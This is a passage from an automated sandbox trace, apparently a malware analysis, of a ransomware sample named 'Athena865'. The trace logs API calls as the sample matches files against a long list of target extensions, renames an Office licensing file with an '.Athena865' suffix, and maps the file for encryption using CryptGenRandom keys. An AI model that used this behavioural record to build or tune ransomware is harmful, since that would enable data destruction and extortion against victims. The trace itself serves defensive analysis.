(lpString=".sys") returned 4 [0115.242] lstrcmpiW (lpString1="osppobjs-spp-plugin-manifest-signed.xrm-ms", lpString2=".sys") returned 1 [0115.242] lstrlenW (lpString="osppobjs-spp-plugin-manifest-signed.xrm-ms") returned 42 [0115.242] lstrlenW (lpString="bak") returned 3 [0115.242] lstrcmpiW (lpString1="-ms", lpString2="bak") returned 1 [0115.242] lstrlenW (lpString="ba_") returned 3 [0115.242] lstrcmpiW (lpString1="-ms", lpString2="ba_") returned 1 [0115.242] lstrlenW (lpString="dbb") returned 3 [0115.242] lstrcmpiW (lpString1="-ms", lpString2="dbb") returned 1 [0115.243] lstrlenW (lpString="vmdk") returned 4 [0115.243] lstrcmpiW (lpString1="m-ms", lpString2="vmdk") returned -1 [0115.243] lstrlenW (lpString="rar") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="rar") returned -1 [0115.243] lstrlenW (lpString="zip") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="zip") returned -1 [0115.243] lstrlenW (lpString="tgz") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="tgz") returned -1 [0115.243] lstrlenW (lpString="vbox") returned 4 [0115.243] lstrcmpiW (lpString1="m-ms", lpString2="vbox") returned -1 [0115.243] lstrlenW (lpString="vdi") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="vdi") returned -1 [0115.243] lstrlenW (lpString="vhd") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="vhd") returned -1 [0115.243] lstrlenW (lpString="vhdx") returned 4 [0115.243] lstrcmpiW (lpString1="m-ms", lpString2="vhdx") returned -1 [0115.243] lstrlenW (lpString="avhd") returned 4 [0115.243] lstrcmpiW (lpString1="m-ms", lpString2="avhd") returned 1 [0115.243] lstrlenW (lpString="db") returned 2 [0115.243] lstrcmpiW (lpString1="ms", lpString2="db") returned 1 [0115.243] lstrlenW (lpString="db2") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="db2") returned 1 [0115.243] lstrlenW (lpString="db3") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1 [0115.243] lstrlenW (lpString="dbf") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1 [0115.243] lstrlenW (lpString="mdf") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1 [0115.243] lstrlenW (lpString="mdb") returned 3 [0115.243] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1 [0115.243] lstrlenW (lpString="sql") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1 [0115.244] lstrlenW (lpString="sqlite") returned 6 [0115.244] lstrcmpiW (lpString1="xrm-ms", lpString2="sqlite") returned 1 [0115.244] lstrlenW (lpString="sqlite3") returned 7 [0115.244] lstrcmpiW (lpString1=".xrm-ms", lpString2="sqlite3") returned -1 [0115.244] lstrlenW (lpString="sqlitedb") returned 8 [0115.244] lstrcmpiW (lpString1="d.xrm-ms", lpString2="sqlitedb") returned -1 [0115.244] lstrlenW (lpString="xml") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1 [0115.244] lstrlenW (lpString="$er") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1 [0115.244] lstrlenW (lpString="4dd") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1 [0115.244] lstrlenW (lpString="4dl") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1 [0115.244] lstrlenW (lpString="^^^") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1 [0115.244] lstrlenW (lpString="abs") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1 [0115.244] lstrlenW (lpString="abx") returned 3 [0115.244] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1 [0115.244] lstrlenW (lpString="accdb") returned 5 [0115.244] lstrcmpiW (lpString1="rm-ms", lpString2="accdb") returned 1 [0115.244] lstrlenW (lpString="accdc") returned 5 [0115.244] lstrcmpiW (lpString1="rm-ms", lpString2="accdc") returned 1 [0115.244] lstrlenW (lpString="accde") returned 5 [0115.244] lstrcmpiW (lpString1="rm-ms", lpString2="accde") returned 1 [0115.244] lstrlenW (lpString="accdr") returned 5 [0115.244] lstrcmpiW (lpString1="rm-ms", lpString2="accdr") returned 1 [0115.244] lstrlenW (lpString="accdt") returned 5 [0115.244] lstrcmpiW (lpString1="rm-ms", lpString2="accdt") returned 1 [0115.245] lstrlenW (lpString="accdw") returned 5 [0115.245] lstrcmpiW (lpString1="rm-ms", lpString2="accdw") returned 1 [0115.245] lstrlenW (lpString="accft") returned 5 [0115.245] lstrcmpiW (lpString1="rm-ms", lpString2="accft") returned 1 [0115.245] lstrlenW (lpString="adb") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0115.245] lstrlenW (lpString="adb") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1 [0115.245] lstrlenW (lpString="ade") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1 [0115.245] lstrlenW (lpString="adf") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1 [0115.245] lstrlenW (lpString="adn") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1 [0115.245] lstrlenW (lpString="adp") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1 [0115.245] lstrlenW (lpString="alf") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1 [0115.245] lstrlenW (lpString="ask") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1 [0115.245] lstrlenW (lpString="btr") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1 [0115.245] lstrlenW (lpString="cat") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1 [0115.245] lstrlenW (lpString="cdb") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1 [0115.245] lstrlenW (lpString="ckp") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1 [0115.245] lstrlenW (lpString="cma") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1 [0115.245] lstrlenW (lpString="cpd") returned 3 [0115.245] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1 [0115.245] lstrlenW (lpString="dacpac") returned 6 [0115.246] lstrcmpiW (lpString1="xrm-ms", lpString2="dacpac") returned 1 [0115.246] lstrlenW (lpString="dad") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1 [0115.246] lstrlenW (lpString="dadiagrams") returned 10 [0115.246] lstrcmpiW (lpString1="ned.xrm-ms", lpString2="dadiagrams") returned 1 [0115.246] lstrlenW (lpString="daschema") returned 8 [0115.246] lstrcmpiW (lpString1="d.xrm-ms", lpString2="daschema") returned -1 [0115.246] lstrlenW (lpString="db-journal") returned 10 [0115.246] lstrcmpiW (lpString1="ned.xrm-ms", lpString2="db-journal") returned 1 [0115.246] lstrlenW (lpString="db-shm") returned 6 [0115.246] lstrcmpiW (lpString1="xrm-ms", lpString2="db-shm") returned 1 [0115.246] lstrlenW (lpString="db-wal") returned 6 [0115.246] lstrcmpiW (lpString1="xrm-ms", lpString2="db-wal") returned 1 [0115.246] lstrlenW (lpString="dbc") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1 [0115.246] lstrlenW (lpString="dbs") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1 [0115.246] lstrlenW (lpString="dbt") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1 [0115.246] lstrlenW (lpString="dbv") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1 [0115.246] lstrlenW (lpString="dbx") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1 [0115.246] lstrlenW (lpString="dcb") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1 [0115.246] lstrlenW (lpString="dct") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1 [0115.246] lstrlenW (lpString="dcx") returned 3 [0115.246] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1 [0115.247] lstrlenW (lpString="ddl") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1 [0115.247] lstrlenW (lpString="dlis") returned 4 [0115.247] lstrcmpiW (lpString1="m-ms", lpString2="dlis") returned 1 [0115.247] lstrlenW (lpString="dp1") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1 [0115.247] lstrlenW (lpString="dqy") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1 [0115.247] lstrlenW (lpString="dsk") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1 [0115.247] lstrlenW (lpString="dsn") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1 [0115.247] lstrlenW (lpString="dtsx") returned 4 [0115.247] lstrcmpiW (lpString1="m-ms", lpString2="dtsx") returned 1 [0115.247] lstrlenW (lpString="dxl") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1 [0115.247] lstrlenW (lpString="eco") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1 [0115.247] lstrlenW (lpString="ecx") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1 [0115.247] lstrlenW (lpString="edb") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1 [0115.247] lstrlenW (lpString="epim") returned 4 [0115.247] lstrcmpiW (lpString1="m-ms", lpString2="epim") returned 1 [0115.247] lstrlenW (lpString="fcd") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1 [0115.247] lstrlenW (lpString="fdb") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1 [0115.247] lstrlenW (lpString="fic") returned 3 [0115.247] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1 [0115.248] lstrlenW (lpString="flexolibrary") returned 12 [0115.248] lstrcmpiW (lpString1="igned.xrm-ms", lpString2="flexolibrary") returned 1 [0115.248] lstrlenW (lpString="fm5") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1 [0115.248] lstrlenW (lpString="fmp") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1 [0115.248] lstrlenW (lpString="fmp12") returned 5 [0115.248] lstrcmpiW (lpString1="rm-ms", lpString2="fmp12") returned 1 [0115.248] lstrlenW (lpString="fmpsl") returned 5 [0115.248] lstrcmpiW (lpString1="rm-ms", lpString2="fmpsl") returned 1 [0115.248] lstrlenW (lpString="fol") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1 [0115.248] lstrlenW (lpString="fp3") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1 [0115.248] lstrlenW (lpString="fp4") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1 [0115.248] lstrlenW (lpString="fp5") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1 [0115.248] lstrlenW (lpString="fp7") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1 [0115.248] lstrlenW (lpString="fpt") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1 [0115.248] lstrlenW (lpString="frm") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1 [0115.248] lstrlenW (lpString="gdb") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0115.248] lstrlenW (lpString="gdb") returned 3 [0115.248] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1 [0115.248] lstrlenW (lpString="grdb") returned 4 [0115.248] lstrcmpiW (lpString1="m-ms", lpString2="grdb") returned 1 [0115.248] lstrlenW (lpString="gwi") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1 [0115.249] lstrlenW (lpString="hdb") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1 [0115.249] lstrlenW (lpString="his") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1 [0115.249] lstrlenW (lpString="ib") returned 2 [0115.249] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1 [0115.249] lstrlenW (lpString="idb") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1 [0115.249] lstrlenW (lpString="ihx") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1 [0115.249] lstrlenW (lpString="itdb") returned 4 [0115.249] lstrcmpiW (lpString1="m-ms", lpString2="itdb") returned 1 [0115.249] lstrlenW (lpString="itw") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1 [0115.249] lstrlenW (lpString="jet") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1 [0115.249] lstrlenW (lpString="jtx") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1 [0115.249] lstrlenW (lpString="kdb") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1 [0115.249] lstrlenW (lpString="kexi") returned 4 [0115.249] lstrcmpiW (lpString1="m-ms", lpString2="kexi") returned 1 [0115.249] lstrlenW (lpString="kexic") returned 5 [0115.249] lstrcmpiW (lpString1="rm-ms", lpString2="kexic") returned 1 [0115.249] lstrlenW (lpString="kexis") returned 5 [0115.249] lstrcmpiW (lpString1="rm-ms", lpString2="kexis") returned 1 [0115.249] lstrlenW (lpString="lgc") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1 [0115.249] lstrlenW (lpString="lwx") returned 3 [0115.249] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1 [0115.249] lstrlenW (lpString="maf") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1 [0115.250] lstrlenW (lpString="maq") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1 [0115.250] lstrlenW (lpString="mar") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1 [0115.250] lstrlenW (lpString="marshal") returned 7 [0115.250] lstrcmpiW (lpString1=".xrm-ms", lpString2="marshal") returned -1 [0115.250] lstrlenW (lpString="mas") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1 [0115.250] lstrlenW (lpString="mav") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1 [0115.250] lstrlenW (lpString="maw") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1 [0115.250] lstrlenW (lpString="mdbhtml") returned 7 [0115.250] lstrcmpiW (lpString1=".xrm-ms", lpString2="mdbhtml") returned -1 [0115.250] lstrlenW (lpString="mdn") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1 [0115.250] lstrlenW (lpString="mdt") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1 [0115.250] lstrlenW (lpString="mfd") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1 [0115.250] lstrlenW (lpString="mpd") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1 [0115.250] lstrlenW (lpString="mrg") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1 [0115.250] lstrlenW (lpString="mud") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1 [0115.250] lstrlenW (lpString="mwb") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1 [0115.250] lstrlenW (lpString="myd") returned 3 [0115.250] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1 [0115.251] lstrlenW (lpString="ndf") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1 [0115.251] lstrlenW (lpString="nnt") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1 [0115.251] lstrlenW (lpString="nrmlib") returned 6 [0115.251] lstrcmpiW (lpString1="xrm-ms", lpString2="nrmlib") returned 1 [0115.251] lstrlenW (lpString="ns2") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1 [0115.251] lstrlenW (lpString="ns3") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1 [0115.251] lstrlenW (lpString="ns4") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1 [0115.251] lstrlenW (lpString="nsf") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1 [0115.251] lstrlenW (lpString="nv") returned 2 [0115.251] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1 [0115.251] lstrlenW (lpString="nv2") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1 [0115.251] lstrlenW (lpString="nwdb") returned 4 [0115.251] lstrcmpiW (lpString1="m-ms", lpString2="nwdb") returned -1 [0115.251] lstrlenW (lpString="nyf") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1 [0115.251] lstrlenW (lpString="odb") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0115.251] lstrlenW (lpString="odb") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1 [0115.251] lstrlenW (lpString="oqy") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1 [0115.251] lstrlenW (lpString="ora") returned 3 [0115.251] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1 [0115.252] lstrlenW (lpString="orx") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1 [0115.252] lstrlenW (lpString="owc") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1 [0115.252] lstrlenW (lpString="p96") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1 [0115.252] lstrlenW (lpString="p97") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1 [0115.252] lstrlenW (lpString="pan") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1 [0115.252] lstrlenW (lpString="pdb") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1 [0115.252] lstrlenW (lpString="pdm") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1 [0115.252] lstrlenW (lpString="pnz") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1 [0115.252] lstrlenW (lpString="qry") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1 [0115.252] lstrlenW (lpString="qvd") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1 [0115.252] lstrlenW (lpString="rbf") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1 [0115.252] lstrlenW (lpString="rctd") returned 4 [0115.252] lstrcmpiW (lpString1="m-ms", lpString2="rctd") returned -1 [0115.252] lstrlenW (lpString="rod") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1 [0115.252] lstrlenW (lpString="rodx") returned 4 [0115.252] lstrcmpiW (lpString1="m-ms", lpString2="rodx") returned -1 [0115.252] lstrlenW (lpString="rpd") returned 3 [0115.252] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1 [0115.253] lstrlenW (lpString="rsd") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1 [0115.253] lstrlenW (lpString="sas7bdat") returned 8 [0115.253] lstrcmpiW (lpString1="d.xrm-ms", lpString2="sas7bdat") returned -1 [0115.253] lstrlenW (lpString="sbf") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1 [0115.253] lstrlenW (lpString="scx") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1 [0115.253] lstrlenW (lpString="sdb") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1 [0115.253] lstrlenW (lpString="sdc") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1 [0115.253] lstrlenW (lpString="sdf") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1 [0115.253] lstrlenW (lpString="sis") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1 [0115.253] lstrlenW (lpString="spq") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1 [0115.253] lstrlenW (lpString="te") returned 2 [0115.253] lstrcmpiW (lpString1="ms", lpString2="te") returned -1 [0115.253] lstrlenW (lpString="teacher") returned 7 [0115.253] lstrcmpiW (lpString1=".xrm-ms", lpString2="teacher") returned -1 [0115.253] lstrlenW (lpString="tmd") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1 [0115.253] lstrlenW (lpString="tps") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1 [0115.253] lstrlenW (lpString="trc") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0115.253] lstrlenW (lpString="trc") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1 [0115.253] lstrlenW (lpString="trm") returned 3 [0115.253] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1 [0115.254] lstrlenW (lpString="udb") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1 [0115.254] lstrlenW (lpString="udl") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1 [0115.254] lstrlenW (lpString="usr") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1 [0115.254] lstrlenW (lpString="v12") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1 [0115.254] lstrlenW (lpString="vis") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1 [0115.254] lstrlenW (lpString="vpd") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1 [0115.254] lstrlenW (lpString="vvv") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1 [0115.254] lstrlenW (lpString="wdb") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1 [0115.254] lstrlenW (lpString="wmdb") returned 4 [0115.254] lstrcmpiW (lpString1="m-ms", lpString2="wmdb") returned -1 [0115.254] lstrlenW (lpString="wrk") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1 [0115.254] lstrlenW (lpString="xdb") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1 [0115.254] lstrlenW (lpString="xld") returned 3 [0115.254] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1 [0115.254] lstrlenW (lpString="xmlff") returned 5 [0115.254] lstrcmpiW (lpString1="rm-ms", lpString2="xmlff") returned -1 [0115.254] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.Athena865") returned 132 [0115.254] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.athena865"), dwFlags=0x1) returned 1 [0115.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0115.256] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11646) returned 1 [0115.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0115.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0115.256] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0115.257] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0115.257] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0115.257] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.257] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3080, lpName=0x0) returned 0x154 [0115.261] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3080) returned 0x100000 [0115.262] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.263] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.263] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0115.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d98 [0115.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0115.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0115.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0115.263] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0115.263] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0115.264] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0115.264] CloseHandle (hObject=0x154) returned 1 [0115.264] CloseHandle (hObject=0x17c) returned 1 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0115.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0115.264] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0115.264] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0115.264] lstrcmpiW (lpString1="OSPPOBJS.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0115.264] lstrcmpiW 